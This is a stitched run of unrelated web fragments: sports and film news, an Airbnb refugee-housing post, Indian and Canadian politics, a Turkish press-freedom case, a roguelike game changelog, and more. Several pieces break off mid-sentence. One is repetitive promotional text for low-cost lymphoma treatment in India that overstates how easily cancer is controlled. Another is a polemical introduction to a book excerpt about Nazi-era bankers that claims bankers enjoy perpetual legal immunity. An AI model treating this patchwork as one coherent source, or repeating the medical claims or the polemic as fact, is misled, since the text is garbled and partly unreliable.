"When you really look at that fight, Miesha has lost to her twice. Holly Holm, WBC, WBA, WBF, IBA, you name it, she's won the belt in boxing. She's 9-0 in mixed martial arts (MMA) and if you look at the range and the distance, the head kicks, all the attributes. When we originally brought in Holly Holm, it was to fight Ronda Rousey. That fight makes sense. Miesha, at this point in her career, if she loses to Ronda Rousey a third time, it's a career killer."
Wanting a third fight and not getting it is not uncommon in UFC.
The good news is, Tate has plenty of other options, like a showdown against Bethe Correia, who lost to Rousey just last month. Holm, meanwhile, will try to pull the sword from the proverbial stone when the promotion heads "Down Under" for UFC 193 (more on that here).
Sorry, Joe.It has been reported on the BBC tonight that a casting notice has been given for the U.K. and Ireland for two roles for Star Wars: Episode VII. The casting sessions will start later this week around the UK and Ireland (London, Bristol, Manchester, Dublin and Glasgow).
The filmmakers are looking to fill two roles: “street smart and strong” orphaned girl and a “smart capable” man in his late teens to early 20s. Here’s the full character descriptions (naturally, these won’t be the final names)…
Seeking young woman to play 17-18 year old. Must be beautiful, smart and athletic. Open to all ethnicities (including Bi and Multi Racial). Must be over 16.
Rachel – was quite young when she lost her parents. With no other family, she was forced to make her way in a tough, dangerous town. Now 17 she has become street smart and strong. She is able to take care of herself using humor and guts to get by.
Always a survivor, never a victim, she remains hopeful that she can move away from this harsh existence to a better life. She is always thinking of what she can do to move ahead.
Seeing young man to play 19-23 years old. Must be handsome, smart and athletic. Must be over 18.
Thomas – has grown up without a father’s influence. Without the model of being a man, he doesn’t have the strongest sense of himself. Despite this he is smart, capable and shows courage when it is needed. He can appreciate the absurdities in life and understands you can’t take life too seriously.
The open auditions which were first published on the twitter account @UKopencall for a “major Hollywood Movie” and it was also announced that it would be a “nationwide search for lead roles for a Disney Movie”. Disney as you know purchased Lucasfilm back in October 2012.
Disney has made sure that very little has been given out in the casting call, though leaked a few months back by Bleeding Cool were a few bits of information that makes it seem like they may have hit the nail on the head.
Star Wars: Episode VII is due out in 2015, though this could change at any moment depending on shooting or script. J.J. Abrams (Lost, Star Trek) shall be directing as well as co-writing with Lawrence Kasdan (The Empire Strikes Back, Raiders of the Lost Ark) and while there’s been nothing official on casting, Mark Hamill, Carrie Fisher, Harrison Ford and Anthony Daniels are all expected to reprise their roles.#weaccept
February 5, 2017
We believe in the simple idea that no matter who you are, where you're from, who you love, or who you worship, you deserve to belong. We know this is an idealistic notion that faces huge obstacles because of something that also seems simple, but isn't - that not everyone is accepted.
People who've been displaced, whether because of war or conflict or other factors, are acutely vulnerable to not being accepted. They are, quite literally, in need of a place to belong, which is why we've been inspired to take action.
We started by providing housing for evacuees of disasters and have since provided housing during 54 global disasters. We partnered with organizations dedicated to the needs of refugees around the world. And just last week, we announced that the Airbnb community will provide free housing to refugees and those recently barred from entering the US. When we announced this, there was an outpouring of interest from our community, and we were inspired to go bigger.
Today we're setting a goal to provide short-term housing over the next five years for 100,000 people in need. We'll start with refugees, disaster survivors, and relief workers, though we want to accommodate many more types of displaced people over time. To help people around the world facing displacement, we'll work with our community of hosts to find not just a place to stay, but also a place to feel connected, respected, and a part of a community again. In addition, Airbnb will |
on the issue. "But I thought the whole party is about asking questions," she said.
Interestingly, there are only two women in AAP's National Executive.Sarabhai had contested the 2009 Lok Sabha elections as an independent candidate and is also a vocal critic of Gujarat chief minister and Bharatiya Janata Party's prime ministerial candidate Narendra Modi, especially on the 2002 riots and has contested his claims on Gujarat's development.
Reiterating again that she wants AAP to succeed, Sarabhai said that the alternative AAP provided was a crucial one for the polity and as a fledgling party should be allowed to make mistakes. Denying that she was disappointed at her marginalisation, she said: "It's just that I feel I have something I can give, having fought the election as an independent, with absolutely transparency, the way they want to do, and having asked people for Rs10 to fund my campaign. That experience could have been used. It is a pity that they are not using so many good people."
Speaking of her association with Arvind Kejriwal, Anna Hazare and the India Against Corruption movement, Sarabhai said that she had been working with them since 2008 on RTI and was one of the signatories on the letter on Lokpal. She also said that she had taken Kejriwal and Hazare around Gujarat and introduced them to 28 organisations of groups such as contract labourers, farmers fisherfolk, security forces and so on, who felt they had been betrayed and exploited by the government.
Kejriwal has been raising several issues about the gaps in Gujarat's development story during his electoral tour of the state last week.Yesterday brought a flood of MST3K news as guest writers were announced, and while we danced about in excited glee for Dan Harmon and Justin Roiland, we were struck by a slightly more left-field writer: Patrick Rothfuss? That Patrick Rothfuss, with the Name and the Wind and whatnot? Yes, that one! Hodgson announced that Rothfuss “has offered to have a ‘story breakfast’ with me and go over ‘story beats’ for the next series” and what’s more, a few backers might get the chance to join in said breakfast. Hodgson has also added Nell Scovell, who has written for everything from Spy magazine to The Simpsons to Charmed, Ready Player One author Ernest Cline, future-LEGO-sequel-director Rob Schrab, and longtime Simpsons writer Dana Gould. This is shaping up to be an incredible pool of talent, and we can’t wait to see what everyone brings to the new show!
Veteran MSTies will also be filled with joy to hear that composer Charlie Erickson will be back to write some music (but this time he’ll be joined by “Let It Go” and Book of Mormon co-writer Robert Lopez, and Paul & Storm!), plus we’ll see the return of Prop Diva Beez McKeever, makeup artist Crist Ballas, and the demon Pitch himself, writer Paul Chaplin! We currently have movie sign for nine more episodes of MST3K, but the campaign doesn’t end until tomorrow, so, if you’ve been waiting until the last minute, in the immortal words of Stanley Spadowski: THIS IS THE LAST MINUTE! Joel Hodgson will host a live telethon for the last five hours of the Kickstarter campaign, to cap this experiment off in the best possible retro TV style, so there’s your Friday night sorted.
[via Splitsider!]A First Nations NDP MP has written a biting, satirical letter to Justin Trudeau to "thank" him for controversial remarks he made about Indigenous youth, while taking aim at the prime minister's suggestion that some chiefs are out of touch with the needs of young people living on reserve.
Trudeau had suggested that most of the Indigenous youth he talked to wanted "a place to store their canoes and paddles so they can connect back out on the land."
Romeo Saganash, who represents the northern Quebec riding of Abitibi–Baie-James–Nunavik–Eeyou, and serves as his party's Indigenous affairs critic, told Trudeau he had no idea there was such a problem until he watched the prime minister's town hall appearance in Saskatoon. (Trudeau repeated the canoes and paddle comments, nearly verbatim, the next day in Winnipeg.)
"In fact, I am ashamed for my people that we haven't been listening to our youth in the way that you have," Saganash wrote in his sarcastic response.
Saganash said he was writing to the prime minister to voice his support for what he imagines is a national canoe and paddle program, something he said must have been erroneously left off the Truth and Reconciliation Commission's 94 calls to action. It must have been a "secret" recommendation that only Trudeau knew about, Saganash wrote.
"It is time for the federal government to help First Nations maintain our very important spiritual connection with the water," he wrote.
Sarcastically, the Cree MP wrote that Trudeau is best placed to take the lead on this file because of his track record of protecting water sources, pointing to his approval of the Site C hydroelectric dam, Trans Mountain's Kinder Morgan pipeline and the Muskrat Falls dam.
Tribal Chief of the Saskatoon Tribal Council Felix Thomas directs a question to Prime Minister Justin Trudeau in Saskatoon on Jan. 25. (Liam Richards/Canadian Press)
Saganash wrote that once the canoe and paddle storage program is in place, he will personally paddle across the country to tell First Nations concerned about these projects not to worry, as the "urgently needed" investment in canoe depots will help Indigenous people protect their land and water.
The Trudeau remarks in question were made after Saskatoon Tribal Council Chief Felix Thomas criticized the disconnect between the prime minister's rhetoric — namely his assertion that there is no relationship more important to him than the one with Indigenous people — and the government's perceived inaction on key files, including post-secondary and K-12 education, child welfare, water and health care.
Trudeau on what Indigenous youth need: "Most of the young people I've talked to want a place to store their canoes and paddles..." <a href="https://t.co/EGgNjFxn8N">pic.twitter.com/EGgNjFxn8N</a> —@connie_walker
"I've spoken with a number of chiefs who said, 'You know, we need a youth centre … You know, we need TVs and lounges and sofas so they can hang around.' And when a chief says that to me, I pretty much know they haven't actually talked to their young people," Trudeau said.
"Because most of the young people I've talked to want a place to store their canoes and paddles so they can connect back out on the land."
'Insensitive and insulting'
The comments have been labelled as patronizing by many First Nations observers. Saganash said Friday the comments are "bordering on racist."
"I couldn't let the prime minister off the hook with those comments that he made," he said later in an interview with CBC's Power & Politics.
He said his letter's sarcastic approach is a typical Cree response to irritants. "The remarks were ignorant, insensitive and insulting," he said, saying he was particularly bothered by the fact the prime minister repeated them at two separate town hall appearances.
"He should be aware that the challenges that we have in this country as Indigenous Peoples are way more serious, and way more grave, than having sheds for our canoes and paddles," he said. "Stop this rhetoric."
Saganash said he founded the Cree National Youth Council in 1985, and has been travelling to communities countrywide as part of his duties as a member of the Indigenous affairs parliamentary committee, and not once has he heard a request for a canoe depot.
What youth really need, Saganash said, is mental health supports, adequate housing, decent education and reforms to the child welfare system.
The Prime Minister's Office said late Friday Trudeau's comments were simply reflective of the many conversations he has had over the years with Indigenous leaders, young people, parents and elders.
"During these conversations, First Nations youth often raise the need for greater investments in youth programming and services, and we will continue listening to youth in Indigenous communities across the country while working in partnership with them to develop new solutions and opportunities," said Cameron Ahmad, the prime minister's press secretary, in a statement.A Turkish court has sentenced a Wall Street Journal reporter to over two years in prison on terrorism charges, the US newspaper said in a statement on Tuesday.The charge levelled against Ayla Albayrak, who was in New York at the time of her sentencing, relates to an article she wrote about Turkey's war on Kurdish militants two years ago.Turkey views the Kurdistan Workers' Party (PKK), who Albayrak was reporting on, as a terrorist organisation and closely monitors coverage of the group.
"The sole purpose of the article was to provide objective and independent reporting on events in Turkey, and it succeeded," said the Journal's editor-in-chief, Gerard Baker.
"This was an unfounded criminal charge and wildly inappropriate conviction that wrongly singled out a balanced Wall Street Journal report."
Albayrak - a dual Finnish and Turkish citizen - plans to appeal the decision, which is viewed as the latest move by Turkish authorities to clampdown on freedom of press.
Turkey has jailed scores of journalists in a crackdown on dissent that intensified following last year's failed coup attempt against President Recep Tayyip Erdogan.
"Given the current climate in Turkey, this appalling decision shouldn’t have come as a surprise to me, but it did," the statement quoted Albayrak as saying.
The verdict, she added, "shows yet again, that the international media is not immune to the ongoing press crackdown in Turkey."
It comes as Ankara and Washington are locked in a dispute over Turkey's recent detention of a US consulate employee in Istanbul.The employee, Metin Topuz, has been accused by Turkish authorities of espionage.
The US retaliated to Topuz's detention when the US embassy in Ankara suspended the issuing of non-immigrant visas at its missions in Turkey.Overview
Cancer as we hear the name can really be a scary thing to do since we call it to be a life threatening disease. However, with a number of treatment options for lymphoma or blood cancer available in the medical science, the dreaded disease can be controlled with ease. However, the earlier you get detected with the same the effective would be its treatment. The modern day oncology in India has been equipped a lot in managing and handling things right when it comes to cancer treatment. India in the recent past has embarked at the top option when it comes to getting maximum number of global patients. Thanks to the Low Cost Lymphoma Treatment in India that make things in perfect order. The presence of high end healthcare infrastructure having one of the best expertise and exposure render the high quality and low cost lymphoma treatment in India, let’s dig in deep about the same to get the crux of the same as under:
What is Lymphoma?
When you talk about lymphoma, it is basically a group of blood cancer that is often found in patient’s blood, bone marrow and in any other body parts. When you talk about the treatment options, there are certain ways of fixing this menace, however, the earlier it starts the simpler it becomes to carry out the high quality and Low Cost Lymphoma Treatment in India. So, if you are smart enough to get things on time and unfortunately diagnosed with this menace but in the early stages, the Low Cost Lymphoma Treatment in India with high quality simply make the difference.
What are the Treatment Options for Lymphoma?
When it comes to high quality and Low Cost Lymphoma Treatment in India, primarily you have three treatment options to consider while going for the same:
Chemotherapy: This is the most common Low Cost Lymphoma Treatment in India that helps the doctors to fix the menace. In this treatment option the patient is given a number of drugs, which helps in destroying the cancer cells found in the lymph nodes, lymph organs and bone marrow. This bone marrow helps in stopping these cells and thus reduces the growth of the same. If you call it to be the main treatment option, it is done with the one who have expertise in this specialised field. Generally the medical oncologists are the ones who deal with the Low Cost Lymphoma Treatment in India.
This is the most common Low Cost Lymphoma Treatment in India that helps the doctors to fix the menace. In this treatment option the patient is given a number of drugs, which helps in destroying the cancer cells found in the lymph nodes, lymph organs and bone marrow. This bone marrow helps in stopping these cells and thus reduces the growth of the same. If you call it to be the main treatment option, it is done with the one who have expertise in this specialised field. Generally the medical oncologists are the ones who deal with the Low Cost Lymphoma Treatment in India. Radiation Therapy: In this Low Cost Lymphoma Treatment in India procedure, a set of high energy level X rays (or some other particles like the electrons or protons) are used to destroy the cancer cells and in this way shrink all the cancerous tumors. The radiation oncologists are the one who deal with the high quality and Low Cost Lymphoma Treatment in India. This procedure is really effective in treating the lymphoma patients and can be even clubbed with the other cancer treatment procedures like Chemotherapy.
In this Low Cost Lymphoma Treatment in India procedure, a set of high energy level X rays (or some other particles like the electrons or protons) are used to destroy the cancer cells and in this way shrink all the cancerous tumors. The radiation oncologists are the one who deal with the high quality and Low Cost Lymphoma Treatment in India. This procedure is really effective in treating the lymphoma patients and can be even clubbed with the other cancer treatment procedures like Chemotherapy. Immunotherapy: This cancer treatment procedure is considered is counted under the biologic therapy, which is designed to boost up the patient’s natural defence mechanism for combating the cancer. This Low Cost Lymphoma Treatment in India options simply employscertain stuff that is made up of the body (or even creates the one inside the labs to improving up the immune system). This therapy can be added with other treatment options that are discussed above in order to fight cancer or lymphoma.
Why Choose Low Cost Lymphoma Treatment in India?
The Low Cost Lymphoma Treatment in India is one of the best options for the global patients looking out for high quality and affordable cancer treatment abroad. Thanks to the sky rocketing cost found in the healthcare domain, the Low Cost Lymphoma Treatment in India has proved boon to the global patients who find the healthcare services in the developed nations beyond their capacity. In fact, if you compare the cost in countries like US or the UK, the Low Cost Lymphoma Treatment in India is much cheaper in terms of money but talking in terms of quality, it can beat any treatment option found in the development nations.In recent years, there has been much shock and stunned reactions among the general public as one after another banker avoided any prison time, despite perpetrating (and benefiting from the subsequent bailout) the biggest financial crisis know to mankind.
But is this shock warranted? The simple answer: no.
Consider the case of countless Nazi financiers and even Hitler's personal banker, Hjalmar Schacht. What do they all have in common? Aside from (or perhaps due to) practically all having walked through the secretive corridors of the Bank of International Settlements, the one truly disturbing common theme is that virtually all avoided any significant prosecution for their participation in the Third Reich. In fact, as the following excerpt clearly reveals, the basis of Germany's Fourth Reich, which in Adam LeBor's words, "would be a financial, rather than a military imperium" was the work almost exclusively of Nazi financiers and bankers. And, of course, America's backing and support of said Nazi bankers and industrialists.
Because when it comes to political winners and losers, the bankers will gladly support them all, and as such, no matter their prior actions, global financiers - who can and will bring down with them the entire financial system - have a perpetual immunity from the law, even if it means trillions in taxpayer bailouts, or hundreds of millions of casualties.
So the next time anyone is outraged that Lloyd or Jamie or Jon are not only walking free but have hundreds of millions in their bank accounts, advise them that if "all is forgiven" to Hitler's personal banker, then there is clearly no hope that the judicial system will ever bring those criminals known elsewhere as "bankers" to justice.
The following is an excerpt from TOWER OF BASEL: The Shadowy History of the Secret Bank that Runs the World by Adam LeBor. Reprinted with permission from PublicAffairs.
CHAPTER TEN: ALL IS FORGIVEN
When detained in Dustbin, among a number of references to the financially great he pointed out that the President of the BIS, Mr. McKittrick of the United States, would be able to speak favourably of him.
— British intelligence report on Hermann Schmitz, CEO of IG Farben, while held prisoner at Kransberg Castle, aka “Dustbin,” December 1945
DESPITE THE MARSHALL Plan, postwar Germany was devastated, its population barely scraping a living. A fifth of all housing stocks had been destroyed, food production was about half of its prewar levels, and industrial output in 1947 was one-third of its 1938 level. Basic goods were rationed, and wages and prices were controlled. The black market was thriving, and there was no properly functioning central bank. Officially, the Reichsbank had ceased to exist. The Reichsmark staggered on, still in circulation, although the main unit of currency was American cigarettes.
In 1948, everything changed. The Reichsbank was abolished completely and replaced by the Bank deutscher Länder (BdL). The deutschmark replaced the Reichsmark. The BdL was a national clearinghouse for the banks of the German regional states in the western occupation zone, modeled broadly on the US Federal Reserve. Unlike the Reichsbank, which had been brought under government control, the BdL, which would now represent Germany at the BIS in Basel, had its independence constitutionally guaranteed.
Hjalmar Schacht, president of the Reichsbank, was not impressed with the deutschmark. It was backed neither by gold nor by foreign currency reserves. It was a fiat currency, imposed by the Western authorities. Schacht told Wilhelm Vocke, the president of the new German national bank, that the deutschmark would collapse in six weeks. But Schacht was wrong. The deutschmark was backed, and by assets even more powerful than gold or foreign exchange: public confidence and postwar planning by the Nazi leadership.
At the same time, Ludwig Erhard, the economic director of the British and American occupation zones, lifted price restrictions and controls. The results were spectacular. Employment soared, inflation plummeted, the economy boomed. The deutschmark was stable and enjoyed the public’s full confidence. The western powers and their German subordinates proclaimed the dawn of a new era.
But the new central bank, currency, and Germany’s economic recovery were all deeply rooted in the Third Reich. Because German companies, especially armaments firms, had reinvested their massive profits, despite the Allied bombing campaign and reparations, Germany’s capital stock—its productive equipment, buildings, infrastructure, and other assets—was actually greater in 1948 than in 1936.
The lines of financial continuity between the Third Reich and postwar Germany reached right to the top. The BdL’s first president, Vocke, was a Reichsbank veteran and ally of Hjalmar Schacht. Wilhelm Vocke had sat on the Reichsbank board from 1919 to 1939 and was Germany’s alternate member on the BIS board from 1930 to 1938. He would now return to Basel for the governors’ meetings. Vocke remained loyal to his former boss and testified at Schacht’s trial at Nuremberg. He made the unlikely claim that Schacht had believed Germany’s weapons buildup was intended to support a policy of armed neutrality and to reduce unemployment. Vocke, however, had not joined the Nazi party, unlike many of his colleagues at the BdL. Every state institution in postwar Germany—the police, judiciary, civil servants, teachers, doctors, and the intelligence services—relied on former Nazis to function. But the continuity among the bankers was striking. Between 1948 and 1980, 39 percent of officials on the executive and governing boards of either the BdL, the central banks of the regional states, or the Bündesbank (the BdL’s successor) were former Nazis.
Some, such as Fritz Paersch, had been important figures in Hitler’s economic empire. Paersch was the mastermind of the Nazi plunder and despoliation of Poland. As president of the central bank in German-occupied Poland, he reorganized the currency. Without his work, the Nazi occupation would not have been able to function economically. Hans Frank, the governor general of Poland who oversaw the murder, enslavement, and deportation of millions of Poles and Polish Jews was a great admirer of Paersch. Frank was found guilty of war crimes at Nuremberg and executed. And Paersch should have been put on trial as well, but instead he lived freely and applied for a senior position at the BdL. He was rejected because of his wartime past but was compensated with a position as vice president of the Hesse state central bank, where he worked until 1957. Paersch then found a new sinecure: as official liquidator of the Reichsbank, whose legal affairs still stuttered on.
Like Schacht during the 1930s, Ludwig Erhard, the economic director of the western occupation zones, was hailed as a miracle maker. The truth was more prosaic. Erhard, a future chancellor of West Germany, was an ambiguous figure. He had refused to join any Nazi party organizations and was connected to the German resistance. But Erhard had accepted funds from the Reichsgruppe Industrie, the organization of German industrialists, including IG Farben, that supported Hitler. He was awarded the war service cross for his work on economics. By 1943 Erhard’s work had come to the attention of the German bankers and industrialists who realized that the war was lost. They formed two groups to prepare for the future and ensure their continuing economic power in the postwar world: the Committee for Foreign Economic Affairs, composed of financiers and industrialists, and the Small Working Group, composed solely of industrialists, including Hermann Schmitz, the CEO of IG Farben and BIS director. Erhard was the connection between the two groups.
The members of the Committee for Foreign Economic Affairs included Hermann Abs of Deutsche Bank, the most powerful commercial banker in the Third Reich. The dapper, elegant Abs was an old friend of the BIS. He had been sent there by Schacht during the 1930s to try and stall demands for repayments of the loans that financed Germany after 1918.10 In Basel, Abs frequently met with a British banker called Charles Gunston, who was a protégé of Montagu Norman. Gunston managed the Bank of England’s German desk, which made him immensely important during the 1930s. Gunston was so keen on the new Germany that he spent his 1934 summer holidays at a work camp for enthusiastic Nazi party members. He also admired Abs and later described him as “Very urbane. Always a velvet glove around an iron fist.” Abs did not join the Nazi party, but he was so essential for the functioning of the Third Reich’s economy that he did not need to. As the head of Deutsche Bank’s foreign department during the war, Abs was the lynchpin of the continent-wide plunder, directing the absorption of Aryanized banks and companies across the Third Reich. During the twelve years of the Third Reich, the bank’s wealth quadrupled. Abs sat on the board of dozens of companies, including, naturally, IG Farben.
In 1943 the Nazi industrialists asked Erhard to write a paper on how German industry could be converted back to peacetime production. Erhard argued for a free and competitive market with a gradual elimination of state controls. German industry would be redirected, as quickly as possible, to producing consumer goods. Erhard was taking a substantial risk by put- ting his name to such thoughts: any postwar planning that assumed that Germany might lose the war was enough to send the author to a concentration camp.
But Erhard had protection at the highest levels of the Nazi state: Otto Ohlendorf, the chief of the SS internal security service. The SS was a business as well as a killing machine, the state engine of looting, plunder, and despoliation, from the gold extracted from the teeth of concentration camp victims to the banks, steelworks, factories, and chemical plants of Nazi- occupied countries. Ohlendorf had extensive first-hand experience of the SS’s methods. Between 1941 and 1942, Ohlendorf had commanded Einsatzgruppe D, the extermination squad operating in southern Ukraine, which had murdered ninety thousand men, women, and children. Ohlendorf, an intelligent and educated man, showed great concern for the psychological welfare of his squad’s gunmen. He ordered that they should all fire at the same time at their victims, so as to avoid any feelings of personal responsibility.
Ohlendorf also held a senior position at the Ministry of Economics, supposedly focusing on Nazi Germany’s foreign trade. By 1943, after the Russian victory at Stalingrad, Ohlendorf also understood that the Third Reich would eventually lose the war. His real job was to plan how the SS would keep its financial empire so that Germany would reassert its economic dominance over Europe after the inevitable defeat. The postwar priority was rapid monetary stabilization, to preserve economic stability and avoid Weimar-style hyperinflation. Germany would need a new currency, which would have to be imposed by the occupying powers, as well as a mixed economy of state and private sectors. There was an obvious overlap with Erhard’s ideas. Ohlendorf came to hear of Erhard’s work, and Erhard was persuaded to send him a copy of his memo.
As the Allies advanced on Germany, the Nazis stepped up their plans for the postwar era. On August 10, 1944, an elite group of industrialists gathered at the Maison Rouge Hotel in Strasbourg, including representatives of Krupp, Messerschmitt, Volkswagen, and officials from several ministries. Also in attendance was a French spy, whose report reached the headquarters of the Allied invasion force, from where it was forwarded to the State Department and the Treasury. The account of the meeting is known as the Red House Report.
Germany had lost the war, the Nazi industrialists agreed, but the struggle would continue along new lines. The Fourth Reich would be a financial, rather than a military imperium. The industrialists were to plan for a “postwar commercial campaign.” They should make “contacts and alliances” with foreign firms but ensure this was done without “attracting any suspicion.” Large sums would have to be borrowed from foreign countries. Just as in the prewar era, the US connection and links to chemical firms, such as the American Chemical Foundation, were essential to expanding German interests. The Zeiss lens company, the Leica camera firm, and the Hamburg-American line had been “especially effective in protecting German interests abroad.” The firms’ New York addresses were passed around the meeting.
A smaller group attended a second, select meeting. There the industrialists were instructed to “prepare themselves to finance the Nazi party, which would be forced to go underground.” The prohibition against exporting capital had been lifted, and the government would help the industrialists to send as much money to neutral countries as possible, through two Swiss banks. The Nazi party recognized that after the defeat, its best-known leaders would be “condemned as war criminals,” the intelligence report concluded. However, the party and the industrialists were cooperating in placing the most important figures in positions at German factories as research or technical experts.
US Treasury officials were closely watching this massive export of German capital, much of which was going to South America. Funds were pouring out of Germany and other Nazi-controlled territories, Harry Dexter White—an American economist and senior U.S. Treasury representative—told a meeting of Treasury officials in July 1944 during the Bretton Woods conference. Nazi leaders were preparing to flee the country or have their property confiscated. “They bought estates and industries and corporations, and there is evidence that the German corporations have been buying into South American corporations in the expectation of being able to re-establish themselves there after the war.” The cloaking operation was extremely complex, said White. “They are working through first, second and third fronts, so it is pretty hard to trace it without having all the data available.” The Treasury officials also discussed the BIS at the same meeting, noting that out of twenty-one board members and senior officials, sixteen were “representatives of countries that are either now our enemies, or are occupied,” including Walther Funk—a former journalist, ardent Nazi, and point man on the BIS board for big business and industrialists—and Hermann Schmitz, the CEO of IG Farben, the giant German chemical conglomerate.
Emil Puhl, the vice president of the Reichsbank and BIS director, discussed the Nazi leadership’s postwar strategy with McKittrick at the BIS in March 1945, during the last few weeks of the war. The information he passed to McKittrick echoes that included in the Red House Report and Harry Dexter White’s discussion at Bretton Woods. Military defeat was merely a temporary setback. The Nazis were fanatics and would never give up their ideals, Puhl explained. Instead they would go underground. McKittrick immediately informed Dulles of the conversation. Dulles sent the information on to London, Paris, and Washington on March 21, 1945. His telegram noted that Puhl had “just arrived” in Basel:
He said that the jig was up but that Nazis had made careful plans to go underground, that every essential figure had his designated place, that Nazism would not end with military defeat as Hitler and his fanatical followers would no more change their philosophy than would Socrates or Mohammed, that these men were just as convinced of their cause as ever and carried a great body of people with them. He emphasized that Nazism was like a religion, not merely a political regime.
After the Allied victory, Donald MacLaren, the British intelligence agent who had brought down GAF, IG Farben’s US subsidiary, was sent to Berlin to investigate the chemicals conglomerate. MacLaren wrote an extensive dossier on IG Farben, its history and key personnel, and its central role in preparing and waging war. MacLaren laid out in detail how IG Farben’s trading partners in New York and London, such as Standard Oil, had willingly entered into cartel arrangements with the chemical conglomerate, thus ceding control to Germany and helping it to rearm.
* * * * *
SO WHAT THEN should be the fate of the Nazi industrialists such as Hermann Schmitz? For MacLaren, the answer was clear. Schmitz had murdered, enslaved, and plundered from behind his desk, rather than on the battlefield. He was a war criminal as much as the leaders of the SS and should face the same punishment. But not all Allied officials agreed. When MacLaren asked his superiors if the industrialists were to be included with the Nazi military leadership as war criminals, he was told, “The term ‘industrialists’ raises a point on which no definite line has been laid down.” Schmitz, as MacLaren noted, certainly believed himself to be protected by his connection to the BIS and to Thomas McKittrick.
At one stage it seemed justice might be done. In 1947, twenty-four IG Farben executives, including Schmitz, were put on trial at Nuremberg. Twelve were found guilty. The sentences were derisory. Schmitz was sentenced to four years. Georg von Schnitzler, the commercial chief, who had apparently used the BIS to contact the Allies, received five years. Otto Ambros, a senior manager of IG Auschwitz, received eight years. Ambros testified that the prisoners at IG Auschwitz were fortunate to “have been spared all that which happened” in the main concentration camp. The IG managers had also saved them a commute. The slave laborers could live on-site and no longer had to march fourteen kilometers a day to and from the main camp. “There was no stinting when Monowitz was built. It was heated and hygienic,” Ambros explained, although Rudy Kennedy, who worked as a slave laborer for IG Farben when he was a teenage boy, remembered conditions rather differently. The slave laborers were served soup at lunchtime, soup with a “higher calorific content” than most Germans enjoyed in the immediate postwar years. “I believe that IG Farben and its officials deserve not a reproach, but due recognition,” Ambros later wrote, and they would soon get it.
IG Farben was broken up into four successor companies: BASF, Bayer, Hoechst, and Cassella. The dismantling was no punishment. The shareholders asked the occupation authorities to transfer the conglomerate’s assets to the successor firms, and they agreed. BASF, Bayer and Hoechst immediately reconstituted themselves, with the same staff working in the same offices and factories. A new holding company was created to deal with the legal fallout and consequences of the breakup. The legacy firms said they had no obligations for IG Farben’s sins, as they had not legally existed during the war. It was a shameless and completely successful legal maneuver.
In 1949 John McCloy left the World Bank and started work as US High Commissioner for West Germany. McCloy, the former partner in the Cravath law firm that had represented GAF, the American wing of IG Farben, did not forget his former business partners. Hermann Schmitz was released from prison in 1950, and by February 1951 all of the IG Farben executives were free. Mc- Cloy also freed Alfried Krupp. The Krupp industrial empire had worked about eighty thousand slave laborers to death in a network of fifty-seven labor camps guarded by the SS. Krupp was sentenced to twelve years imprisonment, but he served less than three.
Otto Ohlendorf, the former commander of Einsatzgruppe D and protector of Ludwig Erhard, was an exception. He was hanged. But McCloy ordered that Nazi camp doctors who had conducted experiments on inmates, Nazi judges who had dispensed Gestapo justice, and SS officers who had organized mass killings be freed or have their sentences drastically reduced. Seventy- four of the 104 defendants convicted at Nuremberg had their sentences substantially reduced, and ten death sentences were commuted. Heinz Hermann Schubert, Ohlendorf’s adjutant, who had personally supervised a mass execution of seven hundred people at Simferopol, had his death sentence commuted and was sentenced to ten years in prison.
The IG Farben managers were swiftly welcomed back into the German business community. Hermann Schmitz joined the supervisory board of the Deutsche Bank. Otto Ambros, provider of soup to slave laborers, joined numerous company boards and set up as an economic consultant. His clients included Konrad Adenauer, the federal chancellor. Kurt von Schröder, the banker and BIS director who had brokered Hitler’s rise to power, was found disguised as an SS corporal in a POW camp in France. He was tried by a German court for crimes against humanity and was sentenced to three months in prison. Walther Funk, the dissolute Reichsbank president and BIS director, was found guilty of war crimes and sentenced to life imprisonment. The trial established how Funk had worked with Himmler, the SS chief, to ensure that gold and valuables from camp victims were credited to a special account at the Reichsbank in the name of “Max Heiliger” for the SS. Funk was released from Spandau prison for health reasons in 1957 and died three years later. Emil Puhl, Funk’s deputy, BIS director, and friend of Thomas McKittrick, was also convicted of war crimes. Sentenced to five years, he was released in 1949.
Ironically, it seems the Warburgs were also instrumental in the reconstruction of German industry, thanks to the family’s friendship with McCloy. Freddie Warburg had persuaded McCloy to take the position of president of the World Bank. The two men had known each other since the 1920s when Mc- Cloy had done legal work for Kuhn, Loeb, a branch of the Warburg empire. When Eric Warburg and McCloy dined together in August 1949, Warburg pleaded with McCloy to stop the dismantling and destruction of German industrial plants. Soon after, Warburg gave McCloy a list of ten steel, gas, and synthetic rubber concerns, including the Thyssen steel works and the Krupp gas works, to be saved. All were spared. McCloy occasionally took a moral stand—he repeatedly told Germany to return Jewish property. When he was informed that Germans who served on de-Nazification boards were being shunned as traitors, he ordered state governments to guarantee such people civil service jobs.
As for Schacht, charged with organizing Germany for war, he still had powerful friends in London and Washington. Green Hackworth, the legal adviser to the State Department, was working behind the scenes to help the former Reichsbank president. During the war, Hackworth had repeatedly sabotaged attempts to publicize Nazi war crimes and bring their perpetrators to justice, arguing that such moves would endanger American POWs. Breckinridge Long, the assistant secretary of state, who had once praised Mussolini, supported Hackworth. Long and his aides had prevented Jewish refugees from obtaining visas, suppressed news of the Holocaust, and derailed attempts to document Nazi war crimes. In 1944 Henry Morgenthau’s staff wrote a detailed paper that documented the State Department’s wartime record. Its title was “Report to the Secretary on the Acquiescence of this Government in the Murder of Jews.”
Once again the Dulles connection came to the fore. In late 1945 Schacht requested that Hans Bernd Gisevius be summoned as a defense witness to testify on his behalf. Gisevius, the wartime German consul in Zürich, was also an officer in the Abwehr, German military intelligence, a member of the anti-Hitler resistance, and one of Allen Dulles’s most important agents, known as OSS source 512. Declassified US intelligence documents show that Gisevius was expected to testify that Schacht had attempted to overthrow Hitler in 1938 and to talk about Sch |
, you can make the Gandalf joke.Hi, crawlers! Spring has sprung, so here’s some changes for you:
Wand changes: Removed: Cold, Fire, Draining, Fireball, Frost, Invisibility, and Magic Darts. New: Acid, which shoots a beam of corrosive acid. Roughly as powerful as Draining was. New: Iceblast, which launches an explosive, partially physical explosion. Somewhat more powerful than Fireball was. Monsters will no longer machine-gun their wands quite as often.
Other removed items: Xom’s chesspieces, rods of destruction & the swarm, and potions of poison.
Luckily, potions of degeneration are back! They now drain all stats by 1d3 points when consumed.
Even more luckily, stats now regenerate faster at low XLs.
Statue form, bat form & hydra form no longer have stat modifiers. Low-strength Vampires rejoice!
Statue form also now gives somewhat more AC.
